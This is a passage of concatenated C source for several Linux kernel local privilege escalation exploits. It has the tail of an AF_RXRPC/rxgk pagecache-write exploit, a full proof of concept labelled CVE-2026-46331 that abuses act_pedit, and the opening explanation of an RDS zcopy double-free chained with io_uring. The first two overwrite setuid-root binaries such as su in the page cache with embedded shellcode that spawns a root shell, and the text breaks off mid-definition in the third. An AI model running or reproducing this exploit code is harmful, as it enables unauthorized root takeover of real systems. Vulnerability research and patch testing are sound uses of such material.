kernel's in-place decrypt corrupts the pagecache. * * Returns 1 on fire, -1 on setup error. */ static int trigger_seq = 0; static int fire(int target_fd, off_t splice_off, size_t splice_len, const uint8_t *base_key, size_t keylen) { char keyname[32]; snprintf(keyname, sizeof(keyname), "rxgk%d", trigger_seq++); long key = add_rxgk_key(keyname, base_key, keylen); if (key < 0) return -1; /* Use high-entropy ports to avoid TIME_WAIT collisions */ uint16_t port_S = 10000 + (rand() % 27000) * 2; uint16_t port_C = port_S + 1; int ret = -1; int udp_srv = setup_udp_server(port_S); if (udp_srv < 0) goto out_key; int cli = setup_rxrpc_client(port_C, keyname); if (cli < 0) goto out_udp; if (initiate_call(cli, port_S, 1234) < 0) goto out_cli; uint8_t pkt[2048]; struct sockaddr_in cli_addr; ssize_t n = udp_recv(udp_srv, pkt, sizeof(pkt), &cli_addr, 50); if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) goto out_cli; struct rxrpc_wire_header *hdr = (struct rxrpc_wire_header *)pkt; uint32_t epoch = ntohl(hdr->epoch); uint32_t cid = ntohl(hdr->cid); uint32_t callN = ntohl(hdr->callNumber); uint16_t svc = ntohs(hdr->serviceId); uint16_t cport = ntohs(cli_addr.sin_port); /* send challenge */ { uint8_t ch[sizeof(struct rxrpc_wire_header) + 20]; memset(ch, 0, sizeof(ch)); struct rxrpc_wire_header *c = (struct rxrpc_wire_header *)ch; c->epoch = htonl(epoch); c->cid = htonl(cid); c->serial = htonl(0x10000); c->type = RXRPC_PACKET_TYPE_CHALLENGE; c->securityIndex = RXGK_SECURITY_INDEX; c->serviceId = htons(svc); for (int i = 0; i < 20; i++) ch[sizeof(struct rxrpc_wire_header) + i] = rand() & 0xFF; struct sockaddr_in to = { .sin_family = AF_INET, .sin_port = htons(cport), .sin_addr.s_addr = htonl(0x7F000001) }; sendto(udp_srv, ch, sizeof(ch), 0, (struct sockaddr *)&to, sizeof(to)); } /* drain response(s) */ for (int i = 0; i < 3; i++) { struct sockaddr_in src; if (udp_recv(udp_srv, pkt, sizeof(pkt), &src, 5) < 0) break; } /* forge DATA packet: wire header from userspace, payload from pagecache */ struct rxrpc_wire_header mal = {0}; mal.epoch = htonl(epoch); mal.cid = htonl(cid); mal.callNumber = htonl(callN); mal.seq = htonl(1); mal.serial = htonl(0x42000); mal.type = RXRPC_PACKET_TYPE_DATA; mal.flags = RXRPC_LAST_PACKET; mal.securityIndex = RXGK_SECURITY_INDEX; mal.serviceId = htons(svc); struct sockaddr_in dst = { .sin_family = AF_INET, .sin_port = htons(cport), .sin_addr.s_addr = htonl(0x7F000001) }; if (connect(udp_srv, (struct sockaddr *)&dst, sizeof(dst)) < 0) goto out_cli; int p[2]; if (pipe(p) < 0) goto out_cli; struct iovec viv = { .iov_base = &mal, .iov_len = sizeof(mal) }; if (vmsplice(p[1], &viv, 1, 0) < 0) { close(p[0]); close(p[1]); goto out_cli; } loff_t off = splice_off; if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0) { close(p[0]); close(p[1]); goto out_cli; } if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0) { close(p[0]); close(p[1]); goto out_cli; } close(p[0]); close(p[1]); usleep(1000); /* drain the error from the client socket (HMAC check fails as expected) */ int fl = fcntl(cli, F_GETFL); fcntl(cli, F_SETFL, fl | O_NONBLOCK); for (int i = 0; i < 2; i++) { char rb[2048]; struct sockaddr_rxrpc srx; char ccb[256]; struct msghdr m = {0}; struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) }; m.msg_name = &srx; m.msg_namelen = sizeof(srx); m.msg_iov = &iv; m.msg_iovlen = 1; m.msg_control = ccb; m.msg_controllen = sizeof(ccb); recvmsg(cli, &m, 0); } ret = 1; out_cli: close(cli); out_udp: close(udp_srv); out_key: syscall(SYS_keyctl, 9 /* KEYCTL_UNLINK */, key, KEY_SPEC_PROCESS_KEYRING); syscall(SYS_keyctl, 21 /* KEYCTL_INVALIDATE */, key); return ret; } /* --- sliding window write with progress display --- */ static void progress(int done, int total, int fires) { int width = 40; int filled = total ? (done * width / total) : 0; int pct = total ? (done * 100 / total) : 0; fprintf(stderr, "\r ["); for (int j = 0; j < width; j++) fputc(j < filled ? '=' : (j == filled ? '>' : ' '), stderr); fprintf(stderr, "] %3d%% (%d/%d, %d fires)", pct, done, total, fires); if (done == total) fputc('\n', stderr); fflush(stderr); } static int pagecache_write(int rfd, void *map, off_t base, const uint8_t *target, int len, off_t file_size, const char *label) { uint8_t key[16]; uint64_t seed = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid(); struct timespec t0; clock_gettime(CLOCK_MONOTONIC, &t0); int total = 0; int max_off = (int)(file_size - 28); if (base + len - 1 > max_off) len = max_off - (int)base + 1; /* Find first byte that differs. We must write everything from there * onward, because each round's 15-byte damage zone corrupts the next * bytes even if they originally matched. */ int start = 0; for (int i = 0; i < len; i++) { uint8_t cur; pread(rfd, &cur, 1, base + i); if (cur != target[i]) { start = i; break; } if (i == len - 1) { LOG("pagecache already matches, skipping write"); return 0; } } int need = len - start; LOG("writing shellcode to %s (%d bytes from offset %d)", label, need, (int)base + start); progress(0, need, 0); for (int i = start; i < len; i++) { off_t off = base + i; uint8_t want = target[i]; uint8_t cur; pread(rfd, &cur, 1, off); if (cur == want && i > start) { /* Byte matches AND we haven't just written (no damage pending). * This only happens for the first byte after start, which is * impossible since start IS the first diff. After that, each * round's damage means we always write. Just be safe: */ continue; } int ok = 0; for (int att = 0; att < 10000; att++) { seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17; uint64_t r = seed; seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17; memcpy(key, &r, 8); memcpy(key + 8, &seed, 8); size_t slen = 28; if (off + (off_t)slen > file_size) slen = file_size - off; if (slen < 16) slen = 16; int rc = fire(rfd, off, slen, key, AES_KEY_LEN); total++; if (rc == 1 && ((const uint8_t *)map)[off] == want) { ok = 1; progress(i - start + 1, need, total); break; } } if (!ok) { fprintf(stderr, "\n"); ERR("byte %d/%d failed", i - start + 1, need); return -1; } } struct timespec t1; clock_gettime(CLOCK_MONOTONIC, &t1); double dt = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9; LOG("%d fires in %.1fs", total, dt); return 0; } /* --- tiny ELF: setuid(0) + execve("/bin/sh") --- * 120-byte ET_DYN ELF with overlapping phdr+header and /bin/sh in p_paddr. * Matches the first 24 bytes of any PIE binary (ET_DYN, x86_64). * PT_LOAD covers 120 bytes; the 15-byte sliding-window damage * tail at offset 120+ is past the loadable segment. */ static const uint8_t tiny_elf[] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x03,0x00,0x3e,0x00,0x01,0x00,0x00,0x00, 0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00, 0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* code: */ 0xb0,0x69,0x0f,0x05, /* setuid(0) */ 0x48,0x8d,0x3d,0xdd,0xff,0xff,0xff, /* lea rdi, \"/bin/sh\" */ 0x6a,0x3b,0x58, /* push 59; pop rax */ 0x0f,0x05, /* execve(\"/bin/sh\", 0, 0) */ }; /* --- main --- */ int main(int argc, char **argv) { (void)argc; (void)argv; srand(time(NULL) ^ getpid()); fprintf(stderr, "\n=== rxgk pagecache write ===\n"); fprintf(stderr, "uid=%u euid=%u\n", getuid(), geteuid()); /* Target: any setuid-root binary readable by us. */ const char *targets[] = { "/usr/bin/su", "/bin/su", "/usr/bin/mount", "/usr/bin/passwd", "/usr/bin/chsh", NULL }; const char *target_path = NULL; for (int i = 0; targets[i]; i++) { struct stat sb; if (stat(targets[i], &sb) == 0 && (sb.st_mode & S_ISUID) && sb.st_uid == 0 && access(targets[i], R_OK) == 0) { target_path = targets[i]; break; } } if (!target_path) { ERR("no readable setuid-root binary found"); return 1; } /* Back up the target binary so the root shell can restore it. */ char backup[256]; const char *base = strrchr(target_path, '/'); base = base ? base + 1 : target_path; snprintf(backup, sizeof(backup), "/tmp/.%s_%d", base, getpid()); { int src = open(target_path, O_RDONLY); int dst = open(backup, O_WRONLY | O_CREAT | O_TRUNC, 0600); if (src >= 0 && dst >= 0) { char buf[4096]; ssize_t n; while ((n = read(src, buf, sizeof(buf))) > 0) write(dst, buf, n); } if (src >= 0) close(src); if (dst >= 0) close(dst); } int rfd = open(target_path, O_RDONLY); if (rfd < 0) { perror(target_path); return 1; } void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd, 0); if (map == MAP_FAILED) { perror("mmap"); return 1; } pid_t pid = fork(); if (pid < 0) { perror("fork"); return 1; } if (pid == 0) { setup_ns(); usleep(10000); int sock = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); if (sock < 0) { ERR("AF_RXRPC unavailable"); _exit(1); } close(sock); struct stat sb; fstat(rfd, &sb); _exit(pagecache_write(rfd, map, 0, tiny_elf, sizeof(tiny_elf), sb.st_size, target_path) < 0 ? 2 : 0); } int st; waitpid(pid, &st, 0); if (!WIFEXITED(st) || WEXITSTATUS(st) != 0) { ERR("corruption failed (status 0x%x)", st); unlink(backup); return 1; } munmap(map, 4096); close(rfd); LOG("exec %s", target_path); LOG("restore: cp %s %s", backup, target_path); fflush(stderr); execlp(target_path, target_path, (char *)NULL); perror(target_path); return 1; } /* * CVE-2026-46331.c -- Linux kernel net/sched act_pedit partial COW page cache corruption * Local Privilege Escalation PoC * * Author: Ashraf Zaryouh "0xBlackash" * Based on public research and sgkdev's packet_edit_meme * WARNING: For educational and authorized testing purposes only. * Do not use on systems you do not own. */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* pedit_primitive integrated */ #define PEDIT_SLOT 4 #define PEDIT_MAX_WRITE 36 #define IP_IHL_KEY_OFFSET 0 #define IP_IHL_KEY_VALUE 0x4fu #define IP_IHL_KEY_MASK 0xffffff00u #define MAX_PEDIT_KEYS (1 + PEDIT_MAX_WRITE / PEDIT_SLOT) #define LOOPBACK_ADDR 0x7f000001u #define LOOPBACK_PREFIX 8 #define LOOPBACK_PORT 4445 #define LISTEN_BACKLOG 8 #define SETTLE_USEC 250000 #define CALIB_PATH "/tmp/.pedit_calib" #define CALIB_LEN 4096 #define CALIB_PROBE_OFFSET 512 #define CALIB_MARK_BYTE 0xccu #define REQUEST_BUF_LEN 8192 #define REPLY_BUF_LEN 4096 #define FILTER_PRIO 1 #define ACTION_LIST_FIRST 1 #ifndef NLA_F_NESTED #define NLA_F_NESTED (1 << 15) #endif #ifndef TC_H_CLSACT #define TC_H_CLSACT TC_H_INGRESS #endif #ifndef TC_H_MIN_EGRESS #define TC_H_MIN_EGRESS 0xFFF3u #endif #ifndef TC_ACT_PIPE #define TC_ACT_PIPE 3 #endif #ifndef TCA_MATCHALL_ACT #define TCA_MATCHALL_ACT 2 #endif #define MIN_DATA_PKT_LEN 100 #ifndef TCA_EM_META_HDR #define TCA_EM_META_HDR 1 #define TCA_EM_META_RVALUE 3 #endif #define META_TYPE_INT 1 #define META_ID_PKTLEN 9 #define META_ID_VALUE 0 #define META_KIND_PKTLEN ((META_TYPE_INT << 12) | META_ID_PKTLEN) #define META_KIND_VALUE ((META_TYPE_INT << 12) | META_ID_VALUE) struct meta_value { uint16_t kind; uint8_t shift; uint8_t op; }; struct meta_header { struct meta_value left; struct meta_value right; }; struct pedit_key_spec { uint32_t offset; uint32_t value; uint32_t mask; uint16_t header_type; }; static int netlink_fd = -1; static int loopback_index; static int listen_fd = -1; static int offset_delta; static int use_matchall; static unsigned int request_seq = 1; static char request_buf[REQUEST_BUF_LEN]; static struct nlmsghdr *request_hdr; static void request_begin(int type, int flags) { memset(request_buf, 0, sizeof(request_buf)); request_hdr = (struct nlmsghdr *)request_buf; request_hdr->nlmsg_len = NLMSG_HDRLEN; request_hdr->nlmsg_type = type; request_hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags; request_hdr->nlmsg_seq = request_seq++; } static void *request_reserve(int length) { void *area = (char *)request_buf + NLMSG_ALIGN(request_hdr->nlmsg_len); request_hdr->nlmsg_len = NLMSG_ALIGN(request_hdr->nlmsg_len) + length; return area; } static void request_append(const void *data, int length) { memcpy(request_reserve(length), data, length); } static void request_attr(int type, const void *data, int length) { struct rtattr *attr = request_reserve(RTA_LENGTH(length)); attr->rta_type = type; attr->rta_len = RTA_LENGTH(length); memcpy(RTA_DATA(attr), data, length); } static void request_attr_str(int type, const char *text) { request_attr(type, text, strlen(text) + 1); } static struct rtattr *request_nest_begin(int type) { struct rtattr *attr = request_reserve(RTA_LENGTH(0)); attr->rta_type = type | NLA_F_NESTED; attr->rta_len = RTA_LENGTH(0); return attr; } static struct rtattr *request_blob_begin(int type) { struct rtattr *attr = request_reserve(RTA_LENGTH(0)); attr->rta_type = type; attr->rta_len = RTA_LENGTH(0); return attr; } static void request_nest_end(struct rtattr *attr) { attr->rta_len = (char *)request_buf + request_hdr->nlmsg_len - (char *)attr; } static int request_send(int allow_enoent) { char reply_buf[REPLY_BUF_LEN]; struct nlmsghdr *reply; struct nlmsgerr *reply_error; int received; if (send(netlink_fd, request_buf, request_hdr->nlmsg_len, 0) < 0) return -1; received = recv(netlink_fd, reply_buf, sizeof(reply_buf), 0); if (received < 0) return -1; reply = (struct nlmsghdr *)reply_buf; if (reply->nlmsg_type != NLMSG_ERROR) return 0; reply_error = NLMSG_DATA(reply); if (reply_error->error && !(allow_enoent && reply_error->error == -ENOENT)) return reply_error->error; return 0; } static int link_up(int index) { struct ifinfomsg link; request_begin(RTM_NEWLINK, 0); memset(&link, 0, sizeof(link)); link.ifi_family = AF_UNSPEC; link.ifi_index = index; link.ifi_flags = IFF_UP; link.ifi_change = IFF_UP; request_append(&link, sizeof(link)); return request_send(0); } static int link_set_addr(int index, uint32_t addr) { struct ifaddrmsg ifaddr; uint32_t addr_be = htonl(addr); request_begin(RTM_NEWADDR, NLM_F_CREATE | NLM_F_REPLACE); memset(&ifaddr, 0, sizeof(ifaddr)); ifaddr.ifa_family = AF_INET; ifaddr.ifa_prefixlen = LOOPBACK_PREFIX; ifaddr.ifa_index = index; request_append(&ifaddr, sizeof(ifaddr)); request_attr(IFA_LOCAL, &addr_be, sizeof(addr_be)); request_attr(IFA_ADDRESS, &addr_be, sizeof(addr_be)); return request_send(0); } static void clsact_delete(int index) { struct tcmsg msg; request_begin(RTM_DELQDISC, 0); memset(&msg, 0, sizeof(msg)); msg.tcm_family = AF_UNSPEC; msg.tcm_ifindex = index; msg.tcm_handle = TC_H_MAKE(TC_H_CLSACT, 0); msg.tcm_parent = TC_H_CLSACT; request_append(&msg, sizeof(msg)); request_send(1); } static int clsact_add(int index) { struct tcmsg msg; request_begin(RTM_NEWQDISC, NLM_F_CREATE | NLM_F_EXCL); memset(&msg, 0, sizeof(msg)); msg.tcm_family = AF_UNSPEC; msg.tcm_ifindex = index; msg.tcm_handle = TC_H_MAKE(TC_H_CLSACT, 0); msg.tcm_parent = TC_H_CLSACT; request_append(&msg, sizeof(msg)); request_attr_str(TCA_KIND, "clsact"); return request_send(0); } static void append_pktlen_ematch(uint32_t threshold) { struct tcf_ematch_tree_hdr tree_header; struct tcf_ematch_hdr match_header; struct meta_header meta; struct rtattr *ematches; struct rtattr *match_list; struct rtattr *match; ematches = request_nest_begin(TCA_BASIC_EMATCHES); memset(&tree_header, 0, sizeof(tree_header)); tree_header.nmatches = 1; request_attr(TCA_EMATCH_TREE_HDR, &tree_header, sizeof(tree_header)); match_list = request_nest_begin(TCA_EMATCH_TREE_LIST); match = request_blob_begin(1); memset(&match_header, 0, sizeof(match_header)); match_header.kind = TCF_EM_META; match_header.flags = TCF_EM_REL_END; request_append(&match_header, sizeof(match_header)); memset(&meta, 0, sizeof(meta)); meta.left.kind = META_KIND_PKTLEN; meta.left.op = TCF_EM_OPND_GT; meta.right.kind = META_KIND_VALUE; request_attr(TCA_EM_META_HDR, &meta, sizeof(meta)); request_attr(TCA_EM_META_RVALUE, &threshold, sizeof(threshold)); request_nest_end(match); request_nest_end(match_list); request_nest_end(ematches); } static void append_pedit_action(const struct pedit_key_spec *keys, int key_count) { char selector_buf[sizeof(struct tc_pedit_sel) + MAX_PEDIT_KEYS * sizeof(struct tc_pedit_key)]; struct tc_pedit_sel *selector = (void *)selector_buf; struct tc_pedit_key *raw_keys = (void *)(selector_buf + sizeof(*selector)); struct rtattr *action; struct rtattr *action_options; struct rtattr *keys_ex; struct rtattr *key_ex; uint16_t header_type; uint16_t command; int selector_len; int index_iter; action = request_nest_begin(ACTION_LIST_FIRST); request_attr_str(TCA_ACT_KIND, "pedit"); action_options = request_nest_begin(TCA_ACT_OPTIONS); selector_len = sizeof(*selector) + key_count * sizeof(struct tc_pedit_key); memset(selector_buf, 0, selector_len); selector->nkeys = key_count; selector->action = TC_ACT_PIPE; for (index_iter = 0; index_iter < key_count; index_iter++) { raw_keys[index_iter].off = keys[index_iter].offset; raw_keys[index_iter].val = keys[index_iter].value; raw_keys[index_iter].mask = keys[index_iter].mask; } request_attr(TCA_PEDIT_PARMS_EX, selector_buf, selector_len); keys_ex = request_nest_begin(TCA_PEDIT_KEYS_EX); for (index_iter = 0; index_iter < key_count; index_iter++) { key_ex = request_nest_begin(TCA_PEDIT_KEY_EX); header_type = keys[index_iter].header_type; request_attr(TCA_PEDIT_KEY_EX_HTYPE, &header_type, sizeof(header_type)); command = TCA_PEDIT_KEY_EX_CMD_SET; request_attr(TCA_PEDIT_KEY_EX_CMD, &command, sizeof(command)); request_nest_end(key_ex); } request_nest_end(keys_ex); request_nest_end(action_options); request_nest_end(action); } static int egress_pedit_add(int index, const struct pedit_key_spec *keys, int key_count) { struct rtattr *options; struct rtattr *action_list; struct tcmsg msg; request_begin(RTM_NEWTFILTER, NLM_F_CREATE | NLM_F_EXCL); memset(&msg, 0, sizeof(msg)); msg.tcm_family = AF_UNSPEC; msg.tcm_ifindex = index; msg.tcm_parent = TC_H_MAKE(TC_H_CLSACT, TC_H_MIN_EGRESS); msg.tcm_info = TC_H_MAKE(FILTER_PRIO << 16, htons(ETH_P_ALL)); request_append(&msg, sizeof(msg)); if (use_matchall) { request_attr_str(TCA_KIND, "matchall"); options = request_nest_begin(TCA_OPTIONS); action_list = request_nest_begin(TCA_MATCHALL_ACT); } else { request_attr_str(TCA_KIND, "basic"); options = request_nest_begin(TCA_OPTIONS); append_pktlen_ematch(MIN_DATA_PKT_LEN); action_list = request_nest_begin(TCA_BASIC_ACT); } append_pedit_action(keys, key_count); request_nest_end(action_list); request_nest_end(options); return request_send(0); } static void fill_ihl_key(struct pedit_key_spec *key) { key->offset = IP_IHL_KEY_OFFSET; key->value = IP_IHL_KEY_VALUE; key->mask = IP_IHL_KEY_MASK; key->header_type = TCA_PEDIT_KEY_EX_HDR_TYPE_NETWORK; } static int pedit_burst(int src_fd, const struct pedit_key_spec *keys, int key_count) { struct sockaddr_in addr; struct stat info; off_t file_offset = 0; int client_fd; int server_fd; if (fstat(src_fd, &info)) return -1; clsact_delete(loopback_index); if (clsact_add(loopback_index)) return -1; memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = htonl(LOOPBACK_ADDR); addr.sin_port = htons(LOOPBACK_PORT); client_fd = socket(AF_INET, SOCK_STREAM, 0); if (client_fd < 0) return -1; if (connect(client_fd, (void *)&addr, sizeof(addr))) { close(client_fd); return -1; } server_fd = accept(listen_fd, NULL, NULL); if (server_fd < 0) { close(client_fd); return -1; } if (egress_pedit_add(loopback_index, keys, key_count)) { close(client_fd); close(server_fd); return -1; } fcntl(client_fd, F_SETFL, O_NONBLOCK); if (sendfile(client_fd, src_fd, &file_offset, info.st_size) < 0 && errno != EAGAIN) { close(client_fd); close(server_fd); return -1; } usleep(SETTLE_USEC); close(client_fd); close(server_fd); return 0; } static int calibrate(void) { struct pedit_key_spec keys[2]; uint8_t buf[CALIB_LEN]; int fd; int index_iter; int landed = -1; fd = open(CALIB_PATH, O_RDWR | O_CREAT | O_TRUNC, 0644); if (fd < 0) return -1; memset(buf, 0, sizeof(buf)); if (write(fd, buf, sizeof(buf)) != sizeof(buf)) { close(fd); return -1; } fsync(fd); fill_ihl_key(&keys[0]); keys[1].offset = CALIB_PROBE_OFFSET; keys[1].value = CALIB_MARK_BYTE * 0x01010101u; keys[1].mask = 0; keys[1].header_type = TCA_PEDIT_KEY_EX_HDR_TYPE_TCP; if (pedit_burst(fd, keys, 2)) { close(fd); return -1; } if (pread(fd, buf, sizeof(buf), 0) != sizeof(buf)) { close(fd); return -1; } for (index_iter = 0; index_iter + PEDIT_SLOT <= CALIB_LEN; index_iter++) { if (buf[index_iter] == CALIB_MARK_BYTE && buf[index_iter + 1] == CALIB_MARK_BYTE && buf[index_iter + 2] == CALIB_MARK_BYTE && buf[index_iter + 3] == CALIB_MARK_BYTE) { landed = index_iter; break; } } close(fd); unlink(CALIB_PATH); if (landed < 0) return -1; offset_delta = landed - CALIB_PROBE_OFFSET; return 0; } int setup(void) { struct sockaddr_in addr; int reuse = 1; netlink_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (netlink_fd < 0) return -1; loopback_index = if_nametoindex("lo"); if (!loopback_index || link_up(loopback_index)) return -1; link_set_addr(loopback_index, LOOPBACK_ADDR); listen_fd = socket(AF_INET, SOCK_STREAM, 0); if (listen_fd < 0) return -1; setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &reuse, sizeof(reuse)); memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = htonl(LOOPBACK_ADDR); addr.sin_port = htons(LOOPBACK_PORT); if (bind(listen_fd, (void *)&addr, sizeof(addr))) return -1; if (listen(listen_fd, LISTEN_BACKLOG)) return -1; if (calibrate() == 0) return 0; use_matchall = 1; return calibrate(); } int api_fd_write(int fd, off_t offset, const void *src, size_t size) { struct pedit_key_spec keys[MAX_PEDIT_KEYS]; const uint8_t *bytes = src; int key_count = 0; size_t pos; if (size == 0) return 0; if (size > PEDIT_MAX_WRITE || (size % PEDIT_SLOT) != 0) return -1; if (offset < (off_t)offset_delta) return -1; fill_ihl_key(&keys[key_count++]); for (pos = 0; pos < size; pos += PEDIT_SLOT) { keys[key_count].offset = (uint32_t)(offset + pos) - (uint32_t)offset_delta; keys[key_count].value = (uint32_t)bytes[pos] | ((uint32_t)bytes[pos + 1] << 8) | ((uint32_t)bytes[pos + 2] << 16) | ((uint32_t)bytes[pos + 3] << 24); keys[key_count].mask = 0; keys[key_count].header_type = TCA_PEDIT_KEY_EX_HDR_TYPE_TCP; key_count++; } return pedit_burst(fd, keys, key_count); } /* Main exploit logic */ #define SHELLCODE_PAD 0x90 static const unsigned char SHELLCODE[] = { 0x31, 0xff, 0xb8, 0x6a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x69, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xd2, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x52, 0x57, 0x48, 0x89, 0xe6, 0xb8, 0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, SHELLCODE_PAD, SHELLCODE_PAD, SHELLCODE_PAD, }; static const char *SU_PATHS[] = { "/bin/su", "/usr/bin/su", "/sbin/su", "/usr/sbin/su", NULL }; static const char *find_su(void) { struct stat info; int index; for (index = 0; SU_PATHS[index]; index++) { if (stat(SU_PATHS[index], &info) == 0 && S_ISREG(info.st_mode) && (info.st_mode & S_ISUID) && info.st_uid == 0) return SU_PATHS[index]; } return NULL; } static long elf_entry_offset(int fd) { Elf64_Ehdr ehdr; Elf64_Phdr phdr; int index; if (pread(fd, &ehdr, sizeof(ehdr), 0) != (ssize_t)sizeof(ehdr)) return -1; if (memcmp(ehdr.e_ident, ELFMAG, SELFMAG) != 0 || ehdr.e_ident[EI_CLASS] != ELFCLASS64) return -1; for (index = 0; index < ehdr.e_phnum; index++) { off_t at = ehdr.e_phoff + (off_t)index * ehdr.e_phentsize; if (pread(fd, &phdr, sizeof(phdr), at) != (ssize_t)sizeof(phdr)) return -1; if (phdr.p_type == PT_LOAD && (phdr.p_flags & PF_X) && ehdr.e_entry >= phdr.p_vaddr && ehdr.e_entry < phdr.p_vaddr + phdr.p_filesz) return (long)(ehdr.e_entry - phdr.p_vaddr + phdr.p_offset); } return -1; } static void write_proc_file(const char *path, const char *value) { int fd = open(path, O_WRONLY); if (fd >= 0) { write(fd, value, strlen(value)); close(fd); } } static int corrupt_entry(int su_fd, long entry_offset) { char map_line[64]; uid_t uid = getuid(); gid_t gid = getgid(); size_t written = 0; if (unshare(CLONE_NEWUSER | CLONE_NEWNET)) { perror("unshare"); return -1; } write_proc_file("/proc/self/setgroups", "deny"); snprintf(map_line, sizeof(map_line), "0 %u 1", uid); write_proc_file("/proc/self/uid_map", map_line); snprintf(map_line, sizeof(map_line), "0 %u 1", gid); write_proc_file("/proc/self/gid_map", map_line); if (setup()) return -1; while (written < sizeof(SHELLCODE)) { size_t chunk = sizeof(SHELLCODE) - written; if (chunk > PEDIT_MAX_WRITE) chunk = PEDIT_MAX_WRITE; if (api_fd_write(su_fd, entry_offset + written, SHELLCODE + written, chunk)) return -1; written += chunk; } return 0; } static int run_exploit(void) { const char *su_path; char *su_argv[2]; int su_fd; int sync_pipe[2]; long entry_offset; pid_t child; int status; char ack = 0; su_path = find_su(); if (!su_path) { fprintf(stderr, "[-] no setuid-root su found\n"); return 1; } su_fd = open(su_path, O_RDONLY); if (su_fd < 0) { perror("open su"); return 1; } entry_offset = elf_entry_offset(su_fd); if (entry_offset < 0) { fprintf(stderr, "[-] could not locate su entry point\n"); close(su_fd); return 1; } printf("[*] target %s entry at 0x%lx\n", su_path, entry_offset); if (pipe(sync_pipe)) { perror("pipe"); close(su_fd); return 1; } child = fork(); if (child < 0) { perror("fork"); close(su_fd); return 1; } if (child == 0) { close(sync_pipe[0]); if (corrupt_entry(su_fd, entry_offset)) _exit(1); write(sync_pipe[1], "1", 1); _exit(0); } close(sync_pipe[1]); read(sync_pipe[0], &ack, 1); waitpid(child, &status, 0); close(su_fd); if (ack != '1' || !WIFEXITED(status) || WEXITSTATUS(status) != 0) { fprintf(stderr, "[-] corruption failed\n"); return 1; } printf("[+] Corruption successful. Executing su for root shell...\n"); su_argv[0] = (char *)su_path; su_argv[1] = NULL; execve(su_path, su_argv, NULL); perror("execve"); return 1; } int main(int argc, char **argv) { if (getuid() == 0) { fprintf(stderr, "[-] Run as unprivileged user\n"); return 1; } printf("CVE-2026-46331 PoC by Ashraf Zaryouh \"0xBlackash\"\n"); return run_exploit(); } /* * RDS zcopy double-free -> LPE via io_uring page cache overwrite * * Bug: rds_message_zcopy_from_user() pins user pages via GUP (FOLL_GET) one * at a time. If a later page faults, the error path put_page()s the already * pinned pages, then rds_message_purge() __free_page()s them again because * op_mmp_znotifier was NULLed but op_nents/sg entries were left intact. When * the page still has other references, __free_page silently decrements the * refcount. Each failing sendmsg steals exactly one ref from the first page. * * On kernels with CONFIG_INIT_ON_ALLOC_DEFAULT_ON (which enables the * check_pages static key), __free_pages_prepare will see nonzero memcg_data * on a charged page and call bad_page(). init_on_alloc also zeros every * newly allocated page, destroying any payload placed before allocation. * * We bypass both. Pin the target page via io_uring REGISTER_BUFFERS, which * adds GUP_PIN_COUNTING_BIAS (1024) to the refcount through FOLL_PIN. Steal * all 1024 pin refs with failing zcopy sends. The page refcount is now ~1 * (just the PTE mapping). munmap takes the normal __folio_put path, which * calls mem_cgroup_uncharge (clearing memcg_data) before freeing. No * bad_page check fires. Page freed cleanly to PCP. * * io_uring keeps the raw struct page* in its bvec array with no liveness * checks. After the page is reclaimed as page cache for a suid binary, * READ_FIXED writes our payload into it through that dangling pointer. The * write lands after init_on_alloc zeroing and after the fs populates the * page from disk, so the payload survives. * * Closing ring1 would normally unpin the buffer (folio_put_refs with 1024), * corrupting whatever page now lives at that frame. We prevent this with * IORING_REGISTER_CLONE_BUFFERS: cloning to a second ring increments * imu->refs. io_buffer_unmap sees refs > 1 and returns without unpinning. * A forked daemon child holds the clone ring fd open indefinitely. * * PCP is LIFO, so we pin to one CPU and drain stale entries before freeing, * putting our page at the top when the page cache allocator grabs it. * * Chain: register(+1024) -> clone(refs=2) -> daemon holds clone -> steal * 1024 refs -> evict target page cache -> drain PCP -> munmap(free) -> * pread target(reclaim) -> READ_FIXED(overwrite) -> verify -> exec -> root * * Requires CONFIG_RDS, CONFIG_RDS_TCP (auto-loaded via SO_RDS_TRANSPORT=2 * since the zcopy path checks t_type == RDS_TRANS_TCP), CONFIG_IO_URING * with io_uring_disabled=0, and a readable suid-root binary. No capabilities * needed. x86_64 payload, technique is arch-independent. */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef IORING_REGISTER_CLONE_BUFFERS #define IORING_REGISTER_CLONE_BUFFERS 30 struct io_uring_clone_buffers { __u32 